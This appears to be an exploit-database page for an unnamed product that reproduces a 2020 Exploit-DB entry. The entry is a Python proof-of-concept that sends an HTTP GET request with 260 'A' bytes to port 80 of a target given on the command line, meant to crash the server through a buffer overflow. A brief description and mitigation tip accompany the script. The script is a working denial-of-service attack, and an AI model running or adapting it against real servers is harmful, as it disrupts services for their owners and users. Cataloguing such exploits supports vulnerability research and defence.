header-logo
Suggest Exploit
vendor:
N/A
by:
Anonymous
9,3
CVSS
HIGH
Buffer Overflow
120
CWE
Product Name: N/A
Affected Version From: N/A
Affected Version To: N/A
Patch Exists: NO
Related CWE: N/A
CPE: N/A
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: N/A
2020

Buffer Overflow Exploit

This exploit is a buffer overflow exploit which sends an HTTP request with an input buffer of 260 bytes of 'A' characters to the target server. This causes the server to crash due to the overflow of the input buffer.

Mitigation:

Input validation should be used to prevent buffer overflows. Additionally, the use of a firewall can help to prevent malicious requests from reaching the server.
Source

Exploit-DB raw data:

#!/usr/bin/python
import socket
import sys
from struct import pack

try:
  server = sys.argv[1]
  port = 80
  size = 260

  httpMethod = b"GET /"
  inputBuffer = b"\x41" * size
  httpEndRequest = b"\r\n\r\n"

  buf = httpMethod + inputBuffer +  httpEndRequest

  print("Sending evil buffer...")
  s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  s.connect((server, port))
  s.send(buf)
  s.close()
  
  print("Done!")
  
except socket.error:
  print("Could not connect!")

Navigation

Suggest Exploit

Services By CQR